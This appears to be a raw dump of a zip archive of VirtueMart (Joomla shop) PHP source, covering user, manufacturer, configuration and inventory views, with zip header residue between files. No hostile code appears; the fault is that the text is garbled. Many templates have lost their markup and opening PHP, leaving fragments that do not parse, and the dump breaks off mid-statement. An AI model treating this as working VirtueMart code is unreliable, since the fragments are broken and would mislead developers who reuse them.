$userFields = $userFields[$virtuemart_userinfo_id]; $task = 'editaddressST'; } $this->assignRef('userFields', $userFields); if ($layoutName == 'edit') { if ($this->_model->getId() == 0 && $this->_cuid == 0) { $button_lbl = JText::_('COM_VIRTUEMART_REGISTER'); } else { $button_lbl = JText::_('COM_VIRTUEMART_SAVE'); } $this->assignRef('button_lbl', $button_lbl); $this->lUser(); $this->shopper($userFields); $this->payment(); $this->lOrderlist(); $this->lVendor(); } $this->_lists['shipTo'] = ShopFunctions::generateStAddressList($this,$this->_model, $task); if ($this->_openTab < 0) { $_paneOffset = array(); } else { if (__VM_USER_USE_SLIDERS) { $_paneOffset = array('startOffset' => $this->_openTab, 'startTransition' => 1, 'allowAllClose' => true); } else { $_paneOffset = array('startOffset' => $this->_openTab); } } $this->assignRef('lists', $this->_lists); $this->assignRef('editor', $editor); $this->assignRef('pane', $pane); if ($layoutName == 'mailregisteruser') { $vendorModel = VmModel::getModel('vendor'); // $vendorModel->setId($this->_userDetails->virtuemart_vendor_id); $vendor = $vendorModel->getVendor(); $this->assignRef('vendor', $vendor); } if ($layoutName == 'editaddress') { $layoutName = 'edit_address'; $this->setLayout($layoutName); } if (!$this->userDetails->JUser->get('id')) { $corefield_title = JText::_('COM_VIRTUEMART_USER_CART_INFO_CREATE_ACCOUNT'); } else { $corefield_title = JText::_('COM_VIRTUEMART_YOUR_ACCOUNT_DETAILS'); } if ((strpos($this->fTask, 'cart') || strpos($this->fTask, 'checkout'))) { $pathway->addItem(JText::_('COM_VIRTUEMART_CART_OVERVIEW'), JRoute::_('index.php?option=com_virtuemart&view=cart', FALSE)); } else { //$pathway->addItem(JText::_('COM_VIRTUEMART_YOUR_ACCOUNT_DETAILS'), JRoute::_('index.php?option=com_virtuemart&view=user&&layout=edit')); } $pathway_text = JText::_('COM_VIRTUEMART_YOUR_ACCOUNT_DETAILS'); if (!$this->userDetails->JUser->get('id')) { if ((strpos($this->fTask, 'cart') || strpos($this->fTask, 'checkout'))) { if ($address_type == 'BT') { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_LBL'); } else { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'); } } else { if ($address_type == 'BT') { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_LBL'); $title = JText::_('COM_VIRTUEMART_REGISTER'); } else { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'); } } } else { if ($address_type == 'BT') { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_BILLTO_LBL'); } else { $vmfield_title = JText::_('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'); } } $add_product_link=""; if(!class_exists('Permissions')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart' . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->isSuperVendor() or Vmconfig::get('multix','none')!=='none' ){ $add_product_link = JRoute::_( 'index.php?option=com_virtuemart&tmpl=component&view=product&view=product&task=edit&virtuemart_product_id=0' ); $add_product_link = $this->linkIcon($add_product_link, 'COM_VIRTUEMART_PRODUCT_ADD_PRODUCT', 'new', false, false, true, true); } $this->assignRef('add_product_link', $add_product_link); $document = JFactory::getDocument(); $document->setTitle($pathway_text); $pathway->additem($pathway_text); $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); $this->assignRef('page_title', $pathway_text); $this->assignRef('corefield_title', $corefield_title); $this->assignRef('vmfield_title', $vmfield_title); shopFunctionsF::setVmTemplate($this, 0, 0, $layoutName); parent::display($tpl); } function payment() { } function lOrderlist() { // Check for existing orders for this user $orders = VmModel::getModel('orders'); if ($this->_model->getId() == 0) { // getOrdersList() returns all orders when no userID is set (admin function), // so explicetly define an empty array when not logged in. $this->_orderList = array(); } else { $this->_orderList = $orders->getOrdersList($this->_model->getId(), true); if (empty($this->currency)) { if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); $this->assignRef('currency', $currency); } } if($this->_orderList){ VmConfig::loadJLang('com_virtuemart_orders',TRUE); } $this->assignRef('orderlist', $this->_orderList); } function shopper($userFields) { // Shopper info if (!class_exists('VirtueMartModelShopperGroup')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'shoppergroup.php'); $_shoppergroup = VirtueMartModelShopperGroup::getShoppergroupById($this->_model->getId()); if (!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if (Permissions::getInstance()->check('admin,storeadmin')) { $shoppergrps = array(); foreach($_shoppergroup as $group){ $shoppergrps[] = $group['virtuemart_shoppergroup_id']; } $this->_lists['shoppergroups'] = ShopFunctions::renderShopperGroupList($shoppergrps); $this->_lists['vendors'] = ShopFunctions::renderVendorList($this->_userDetails->virtuemart_vendor_id); } else { $this->_lists['shoppergroups'] = ''; foreach($_shoppergroup as $group){ $this->_lists['shoppergroups'] .= $group['shopper_group_name'].', '; } $this->_lists['shoppergroups'] = substr($this->_lists['shoppergroups'],0,-2); if (!empty($this->_userDetails->virtuemart_vendor_id)) { $this->_lists['vendors'] = $this->_userDetails->virtuemart_vendor_id; } if (empty($this->_lists['vendors'])) { $this->_lists['vendors'] = JText::_('COM_VIRTUEMART_USER_NOT_A_VENDOR'); // . $_setVendor; } } // Load the required scripts if (count($userFields['scripts']) > 0) { foreach ($userFields['scripts'] as $_script => $_path) { JHTML::script($_script, $_path); } } // Load the required styresheets if (count($userFields['links']) > 0) { foreach ($userFields['links'] as $_link => $_path) { JHTML::stylesheet($_link, $_path); } } } function lUser() { $_groupList = $this->_model->getGroupList(); if (!is_array($_groupList)) { $this->_lists['gid'] = '' . JText::_($_groupList) . ''; } else { $this->_lists['gid'] = JHTML::_('select.genericlist', $_groupList, 'gid', 'size="10"', 'value', 'text', $this->_userDetails->JUser->get('gid')); } if (!class_exists('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $comUserOption = shopFunctionsF::getComUserOption(); $this->_lists['canBlock'] = ($this->_currentUser->authorize($comUserOption, 'block user') && ($this->_model->getId() != $this->_cuid)); // Can't block myself TODO I broke that, please retest if it is working again $this->_lists['canSetMailopt'] = $this->_currentUser->authorize('workflow', 'email_events'); $this->_lists['block'] = JHTML::_('select.booleanlist', 'block', 'class="inputbox"', $this->_userDetails->JUser->get('block'), 'COM_VIRTUEMART_YES', 'COM_VIRTUEMART_NO'); $this->_lists['sendEmail'] = JHTML::_('select.booleanlist', 'sendEmail', 'class="inputbox"', $this->_userDetails->JUser->get('sendEmail'), 'COM_VIRTUEMART_YES', 'COM_VIRTUEMART_NO'); $this->_lists['params'] = $this->_userDetails->JUser->getParameters(true); $this->_lists['custnumber'] = $this->_model->getCustomerNumberById(); //TODO I do not understand for what we have that by Max. if ($this->_model->getId() < 1) { $this->_lists['register_new'] = 1; } else { $this->_lists['register_new'] = 0; } } function lVendor() { // If the current user is a vendor, load the store data if ($this->_userDetails->user_is_vendor) { $front = JURI::root(true).'/components/com_virtuemart/assets/'; $admin = JURI::root(true).'/administrator/components/com_virtuemart/assets/'; $document = JFactory::getDocument(); $document->addScript($front.'js/fancybox/jquery.mousewheel-3.0.4.pack.js'); $document->addScript($front.'js/fancybox/jquery.easing-1.3.pack.js'); $document->addScript($front.'js/fancybox/jquery.fancybox-1.3.4.pack.js'); vmJsApi::js ('jquery-ui', FALSE, '', TRUE); vmJsApi::js ('jquery.ui.autocomplete.html'); vmJsApi::js( 'jquery.noConflict'); $document->addScript($admin.'js/vm2admin.js'); $currencymodel = VmModel::getModel('currency', 'VirtuemartModel'); $currencies = $currencymodel->getCurrencies(); $this->assignRef('currencies', $currencies); if (!$this->_orderList) { $this->lOrderlist(); } $vendorModel = VmModel::getModel('vendor'); if (Vmconfig::get('multix', 'none') === 'none') { $vendorModel->setId(1); } else { $vendorModel->setId($this->_userDetails->virtuemart_vendor_id); } $vendor = $vendorModel->getVendor(); $vendorModel->addImages($vendor); $this->assignRef('vendor', $vendor); } } /* * renderMailLayout * * @author Max Milbers * @author Valerie Isaksen */ public function renderMailLayout($doVendor, $recipient) { $useSSL = VmConfig::get('useSSL', 0); $useXHTML = true; $this->assignRef('useSSL', $useSSL); $this->assignRef('useXHTML', $useXHTML); $userFieldsModel = VmModel::getModel('UserFields'); $userFields = $userFieldsModel->getUserFields(); $this->userFields = $userFieldsModel->getUserFieldsFilled($userFields, $this->user); if (VmConfig::get('order_mail_html')) { $mailFormat = 'html'; $lineSeparator="
        "; } else { $mailFormat = 'raw'; $lineSeparator="\n"; } $virtuemart_vendor_id=1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($virtuemart_vendor_id); $vendorModel->addImages($vendor); $vendor->vendorFields = $vendorModel->getVendorAddressFields(); $this->assignRef('vendor', $vendor); if (!$doVendor) { $this->subject = JText::sprintf('COM_VIRTUEMART_NEW_SHOPPER_SUBJECT', $this->user->username, $this->vendor->vendor_store_name); $tpl = 'mail_' . $mailFormat . '_reguser'; } else { $this->subject = JText::sprintf('COM_VIRTUEMART_VENDOR_NEW_SHOPPER_SUBJECT', $this->user->username, $this->vendor->vendor_store_name); $tpl = 'mail_' . $mailFormat . '_regvendor'; } $this->assignRef('recipient', $recipient); $this->vendorEmail = $vendorModel->getVendorEmail($this->vendor->virtuemart_vendor_id); $this->layoutName = $tpl; $this->setLayout($tpl); parent::display(); } } //No Closing Tag PKs>\,com_virtuemart/views/manufacturer/index.htmlnuW+APKs>\ /com_virtuemart/views/manufacturer/view.html.phpnuW+AgetPathway(); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $virtuemart_manufacturer_id = JRequest::getInt('virtuemart_manufacturer_id', 0); $mf_category_id = JRequest::getInt('mf_category_id', 0); // get necessary models $model = VmModel::getModel('manufacturer'); if ($virtuemart_manufacturer_id !=0 ) { $manufacturer = $model->getManufacturer(); $model->addImages($manufacturer,1); $manufacturerImage = $manufacturer->images[0]->displayMediaThumb('class="manufacturer-image"',false); if (VmConfig::get('enable_content_plugin', 0)) { if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); shopFunctionsF::triggerContentPlugin($manufacturer, 'manufacturer','mf_desc'); } $document->setTitle(JText::_('COM_VIRTUEMART_MANUFACTURER_DETAILS').' '.strip_tags($manufacturer->mf_name)); //added so that the canonical points to page with visible products thx to P2Peter $document->addHeadLink( JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_manufacturer_id='.$virtuemart_manufacturer_id, FALSE) , 'canonical', 'rel', '' ); $this->assignRef('manufacturerImage', $manufacturerImage); // $this->assignRef('manufacturerProductsURL', $manufacturerProductsURL); $this->assignRef('manufacturer', $manufacturer); $pathway->addItem(strip_tags($manufacturer->mf_name)); $this->setLayout('details'); // vmdebug('$manufacturer',$manufacturer); } else { $document->setTitle(JText::_('COM_VIRTUEMART_MANUFACTURER_PAGE')) ; $manufacturers = $model->getManufacturers(true, true, true); $model->addImages($manufacturers,1); $this->assignRef('manufacturers', $manufacturers); $this->setLayout('default'); } parent::display($tpl); } } // pure php no closing tag PKs>\)+com_virtuemart/views/manufacturer/.htaccessnuW+A Order allow,deny Deny from all PKs>\,R 2com_virtuemart/views/manufacturer/tmpl/default.phpnuW+A
        '; // Lets output the categories, if there are some if (!empty($this->manufacturers)) { ?>
        manufacturers as $manufacturer ) { // Show the horizontal seperator if ($iColumn == 1 && $iManufacturer > $manufacturerPerRow) { echo $horizontalSeparator; } // this is an indicator wether a row needs to be opened or not if ($iColumn == 1) { ?>
        virtuemart_manufacturer_id, FALSE); $manufacturerIncludedProductsURL = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_manufacturer_id=' . $manufacturer->virtuemart_manufacturer_id, FALSE); $manufacturerImage = $manufacturer->images[0]->displayMediaThumb("",false); // Show Category ?>
        '; $iColumn = 1; } else { $iColumn ++; } } // Do we need a final closing row tag? if ($iColumn != 1) { ?>
      PKs>\2+ /com_virtuemart/views/manufacturer/tmpl/edit.phpnuW+A
      manufacturer->virtuemart_manufacturer_id); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
      PKs>\)0com_virtuemart/views/manufacturer/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\h=6com_virtuemart/views/manufacturer/tmpl/edit_images.phpnuW+A
      manufacturer->images[0]->addHidden('virtuemart_vendor_id',$this->virtuemart_vendor_id); echo $this->manufacturer->images[0]->displayFilesHandler($this->manufacturer->virtuemart_media_id,'manufacturer'); ?>
      PKs>\Tnn;com_virtuemart/views/manufacturer/tmpl/edit_description.phpnuW+A langList; ?>
      manufacturer->mf_name); ?> manufacturer->published); ?> viewName.' '. JText::_('COM_VIRTUEMART_SLUG'),'slug',$this->manufacturer->slug); ?> manufacturerCategories,$this->manufacturer->virtuemart_manufacturercategories_id,'','virtuemart_manufacturercategories_id', 'mf_category_name',false); ?> manufacturer->mf_url); ?> manufacturer->mf_email); ?> manufacturer->mf_desc); ?>
      PKs>\)com_virtuemart/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\)%com_virtuemart/views/config/.htaccessnuW+A Order allow,deny Deny from all PKs>\/4com_virtuemart/views/config/tmpl/default_pricing.phpnuW+AaddScriptDeclaration($js); ?>
      config, 'basePrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE'); echo ShopFunctions::writePriceConfigLine($this->config, 'variantModification', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD'); echo ShopFunctions::writePriceConfigLine($this->config, 'basePriceVariant', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR'); echo ShopFunctions::writePriceConfigLine($this->config, 'discountedPriceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'priceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'taxAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'basePriceWithTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX'); echo ShopFunctions::writePriceConfigLine($this->config, 'salesPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE'); echo ShopFunctions::writePriceConfigLine($this->config, 'salesPriceWithDiscount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD'); echo ShopFunctions::writePriceConfigLine($this->config, 'discountAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->config, 'unitPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE'); ?>
      PKs>\G,com_virtuemart/views/config/tmpl/default.phpnuW+A
      'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB', 'shopfront' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB', 'templates' => 'COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB', 'pricing' => 'COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB', 'checkout' => 'COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB', 'product_order'=> 'COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB', 'sef' => 'COM_VIRTUEMART_ADMIN_CFG_SEF' )); ?>
      PKs>\#o,,+com_virtuemart/views/config/tmpl/index.htmlnuW+APKs>\)*com_virtuemart/views/config/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V7F%F%5com_virtuemart/views/config/tmpl/default_checkout.phpnuW+AaddScriptDeclaration($js); /*
      */ ?>
      JText::_('COM_VIRTUEMART_DELDATE_INV') , 'osP' => JText::_('COM_VIRTUEMART_ORDER_STATUS_PENDING') , 'osU' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER') , 'osC' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CONFIRMED') , 'osS' => JText::_('COM_VIRTUEMART_ORDER_STATUS_SHIPPED') , 'osR' => JText::_('COM_VIRTUEMART_ORDER_STATUS_REFUNDED') , 'osC' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CANCELLED') ); echo VmHTML::row('selectList','COM_VIRTUEMART_CFG_DELDATE_INV','del_date_type', VmConfig::get('del_date_type','m'), $_delivery_date_options); ?>
      orderStatusModel->renderOSList(VmConfig::get('inv_os',array('C')),'inv_os',TRUE); ?>
      orderStatusModel->renderOSList(VmConfig::get('email_os_s',array('U','C','S','R','X')),'email_os_s',TRUE); ?>
      orderStatusModel->renderOSList(VmConfig::get('email_os_v',array('U','C','R','X')),'email_os_v',TRUE); ?>
      titlesFields ; ?>
      */ ?>PKs>\>^g7g76com_virtuemart/views/config/tmpl/default_shopfront.phpnuW+A
      '1 ' . JText::_('COM_VIRTUEMART_DAY') , '1,W' => '1 ' . JText::_('COM_VIRTUEMART_WEEK') , '2,W' => '2 ' . JText::_('COM_VIRTUEMART_WEEK_S') , '1,M' => '1 ' . JText::_('COM_VIRTUEMART_MONTH') , '3,M' => '3 ' . JText::_('COM_VIRTUEMART_MONTH_S') , '6,M' => '6 ' . JText::_('COM_VIRTUEMART_MONTH_S') , '1,Y' => '1 ' . JText::_('COM_VIRTUEMART_YEAR') ); echo VmHTML::selectList('coupons_default_expire', VmConfig::get('coupons_default_expire'), $_defaultExpTime); ?>
      orderStatusModel->renderOSList(VmConfig::get('cp_rm',array('C')),'cp_rm',TRUE) ; ?>
      JText::_('COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_MODIFIED'), 'created_on' => JText::_('COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED') ); echo VmHTML::selectList('latest_products_orderBy', VmConfig::get('latest_products_orderBy', 'created_on'), $latest_products_orderBy); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_NONE'), 'disableit' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT'), 'disableit_children' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN'), 'disableadd' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD'), 'risetime' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME') ); echo VmHTML::radioList('stockhandle', VmConfig::get('stockhandle', 'none'), $options); ?>
      imagePath); ?>
      <?php echo JText::_('COM_VIRTUEMART_PREVIEW'); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL') ); //showReviewFor echo VmHTML::radioList('showReviewFor', VmConfig::get('showReviewFor', 'all'), $showReviewFor); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE'), 'bought' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED') // 3 => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL') ); echo VmHTML::radioList('reviewMode', VmConfig::get('reviewMode', 'bought'), $showReviewFor); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL') ); echo VmHTML::radioList('showRatingFor', VmConfig::get('showRatingFor', 'all'), $showReviewFor); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE'), 'bought' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED') // 3 => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL') //TODO write system for all users (cookies) ); echo VmHTML::radioList('ratingMode', VmConfig::get('ratingMode', 'bought'), $showReviewFor); ?>
      orderStatusModel->renderOSList(VmConfig::get('rr_os',array('C')),'rr_os',TRUE); ?>
      PKs>\et 0com_virtuemart/views/config/tmpl/default_sef.phpnuW+A
      PKs>\Wcjcj6com_virtuemart/views/config/tmpl/default_templates.phpnuW+A
      jTemplateList, 'vmtemplate', 'size=1 width=200', 'value', 'name', VmConfig::get('vmtemplate', 'default')); ?>
      jTemplateList, 'categorytemplate', 'size=1', 'value', 'name', VmConfig::get('categorytemplate', 'default')); ?>
      categoryLayoutList, 'categorylayout', 'size=1', 'value', 'text', VmConfig::get('categorylayout', 0)); ?>
      productLayoutList, 'productlayout', 'size=1', 'value', 'text', VmConfig::get('productlayout', 0)); ?>
      noimagelist, 'no_image_set', 'size=1', 'value', 'text', VmConfig::get('no_image_set')); ?>
      noimagelist, 'no_image_found', 'size=1', 'value', 'text', VmConfig::get('no_image_found')); ?>
      vmLayoutList, 'vmlayout', 'size=1', 'value', 'text', VmConfig::get('vmlayout', 0)); ?>
      PKs>\0^ ^ :com_virtuemart/views/config/tmpl/default_product_order.phpnuW+A
      orderByFieldsProduct->select, 'browse_orderby_field', 'size=1', 'value', 'text', VmConfig::get('browse_orderby_field', 'product_name'), 'product_name'); $orderDirs[] = JHTML::_('select.option', 'ASC' , JText::_('Ascending')) ; $orderDirs[] = JHTML::_('select.option', 'DESC' , JText::_('Descending')) ; echo JHTML::_('select.genericlist', $orderDirs, 'prd_brws_orderby_dir', 'size=10', 'value', 'text', VmConfig::get('prd_brws_orderby_dir', 'ASC') ); ?> orderByFieldsCat, 'browse_cat_orderby_field', 'size=1', 'value', 'text', VmConfig::get('browse_cat_orderby_field', 'category_name'), 'category_name'); echo JHTML::_('select.genericlist', $orderDirs, 'cat_brws_orderby_dir', 'size=10', 'value', 'text', VmConfig::get('cat_brws_orderby_dir', 'ASC') ); ?>
      orderByFieldsProduct->checkbox; ?>
      searchFields->checkbox; ?>
      PKs>\)*[1com_virtuemart/views/config/tmpl/default_shop.phpnuW+A
      currConverterList, 'currency_converter_module', 'size=1', 'value', 'text', VmConfig::get('currency_converter_module', 'convertECB.php')); ?>
      activeLanguages; ?> Translations'); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE'), 'admin' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL') ); echo VmHTML::radioList('debug_enable', VmConfig::get('debug_enable', 'none'), $options); ?>
      JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE'), 'admin' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN') // 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL') ); echo VmHTML::radioList('multix', VmConfig::get('multix', 'none'), $options); ?>
      PKs>\)aUU)com_virtuemart/views/config/view.html.phpnuW+AaddStandardEditViewCommands(); $config = VmConfig::loadConfig(); if(!empty($config->_params)){ unset ($config->_params['pdf_invoice']); // parameter remove and replaced by inv_os } $this->assignRef('config', $config); $mainframe = JFactory::getApplication(); $this->assignRef('joomlaconfig', $mainframe); $userparams = JComponentHelper::getParams('com_users'); $this->assignRef('userparams', $userparams); $templateList = ShopFunctions::renderTemplateList(JText::_('COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT')); $this->assignRef('jTemplateList', $templateList); $vmLayoutList = $model->getLayoutList('virtuemart'); $this->assignRef('vmLayoutList', $vmLayoutList); $categoryLayoutList = $model->getLayoutList('category'); $this->assignRef('categoryLayoutList', $categoryLayoutList); $productLayoutList = $model->getLayoutList('productdetails'); $this->assignRef('productLayoutList', $productLayoutList); $noimagelist = $model->getNoImageList(); $this->assignRef('noimagelist', $noimagelist); $orderStatusModel=VmModel::getModel('orderstatus'); $this->assignRef('orderStatusModel', $orderStatusModel); $currConverterList = $model->getCurrencyConverterList(); $this->assignRef('currConverterList', $currConverterList); $moduleList = $model->getModuleList(); $this->assignRef('moduleList', $moduleList); $activeLanguages = $model->getActiveLanguages( VmConfig::get('active_languages') ); $this->assignRef('activeLanguages', $activeLanguages); $orderByFieldsProduct = $model->getProductFilterFields('browse_orderby_fields'); $this->assignRef('orderByFieldsProduct', $orderByFieldsProduct); VmModel::getModel('category'); foreach (VirtueMartModelCategory::$_validOrderingFields as $key => $field ) { if($field=='c.category_shared') continue; $fieldWithoutPrefix = $field; $dotps = strrpos($fieldWithoutPrefix, '.'); if($dotps!==false){ $prefix = substr($field, 0,$dotps+1); $fieldWithoutPrefix = substr($field, $dotps+1); } $text = JText::_('COM_VIRTUEMART_'.strtoupper($fieldWithoutPrefix)) ; $orderByFieldsCat[] = JHTML::_('select.option', $field, $text) ; } //$orderByFieldsCat = $model->get; $this->assignRef('orderByFieldsCat', $orderByFieldsCat); $searchFields = $model->getProductFilterFields( 'browse_search_fields'); $this->assignRef('searchFields', $searchFields); $aclGroups = $usermodel->getAclGroupIndentedTree(); $this->assignRef('aclGroups', $aclGroups); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vmtemplate = shopFunctionsF::loadVmTemplateStyle(); if(is_Dir(JPATH_ROOT.DS.'templates'.DS.$vmtemplate.DS.'images'.DS.'availability'.DS)){ $imagePath = '/templates/'.$vmtemplate.'/images/availability/'; } else { $imagePath = '/components/com_virtuemart/assets/images/availability/'; } $this->assignRef('imagePath', $imagePath); shopFunctions::checkSafePath(); $this -> checkVmUserVendor(); parent::display($tpl); } private function checkVmUserVendor(){ $db = JFactory::getDBO(); $multix = Vmconfig::get('multix','none'); $q = 'select * from #__virtuemart_vmusers where user_is_vendor = 1';// and virtuemart_vendor_id '.$vendorWhere.' limit 1'; $db->setQuery($q); $r = $db->loadAssocList(); if (empty($r)){ vmWarn('Your Virtuemart installation contains an error: No user as marked as vendor. Please fix this in your phpMyAdmin and set #__virtuemart_vmusers.user_is_vendor = 1 and #__virtuemart_vmusers.virtuemart_vendor_id = 1 to one of your administrator users. Please update all users to be associated with virtuemart_vendor_id 1.'); } else { if($multix=='none' and count($r)!=1){ vmWarn('You are using single vendor mode, but it seems more than one user is set as vendor'); } foreach($r as $entry){ if(empty($entry['virtuemart_vendor_id'])){ vmWarn('The user with virtuemart_user_id = '.$entry['virtuemart_user_id'].' is set as vendor, but has no referencing vendorId.'); } } } } } // pure php no closing tag PKs>\#o,,&com_virtuemart/views/config/index.htmlnuW+APKs>\)(com_virtuemart/views/inventory/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_virtuemart/views/inventory/index.htmlnuW+APKs>\.com_virtuemart/views/inventory/tmpl/index.htmlnuW+APKs>\)-com_virtuemart/views/inventory/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\ao/com_virtuemart/views/inventory/tmpl/default.phpnuW+A
      inventorylist) > 0) { $i = 0; $k = 0; $keyword = vRequest::uword ('keyword', "", ' ,-,+,.,_,#,/'); foreach ($this->inventorylist as $key => $product) { $checked = JHTML::_('grid.id', $i , $product->virtuemart_product_id); $published = JHTML::_('grid.published', $product, $i ); // if ( $product->product_in_stock - $product->product_ordered < 1) $stockstatut ="out"; elseif ( $product->product_in_stock - $product->product_ordered < $product->low_stock_notification ) $stockstatut ="low"; else $stockstatut = "normal"; $stockstatut='class="stock-'.$stockstatut.'" title="'.jText::_('COM_VIRTUEMART_STOCK_LEVEL_'.$stockstatut).'"'; ?> virtuemart_product_id.'&product_parent_id='.$product->product_parent_id; ?>
      sort('product_name') ?> sort('product_sku')?> sort('product_in_stock','COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK') ?> sort('product_price','COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST') ?> sort('product_price', 'COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE') ?> sort('product_weight','COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT') ?> sort('published')?>
      product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$product->product_name)); ?> product_sku; ?> >product_in_stock; ?> width="5%">product_ordered; ?> product_price_display; ?> product_instock_value; ?> product_weight." ". $product->weigth_unit_display; ?>
      pagination->getListFooter(); ?>
      PKs>\˨Q ,com_virtuemart/views/inventory/view.html.phpnuW+AaddStandardDefaultViewLists($model); $inventorylist = $model->getProductListing(false,false); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); // Apply currency $currencydisplay = CurrencyDisplay::getInstance(); foreach ($inventorylist as $virtuemart_product_id => $product) { //TODO oculd be interesting to show the price for each product, and all stored ones $product->product_in_stock $product->product_instock_value = $currencydisplay->priceDisplay($product->product_price,'',$product->product_in_stock,false); $product->product_price_display = $currencydisplay->priceDisplay($product->product_price,'',1,false); $product->weigth_unit_display= ShopFunctions::renderWeightUnit($product->product_weight_uom); } $this->assignRef('inventorylist', $inventorylist); $options = array(); $options[] = JHTML::_('select.option', '', JText::_('COM_VIRTUEMART_DISPLAY_STOCK').':'); $options[] = 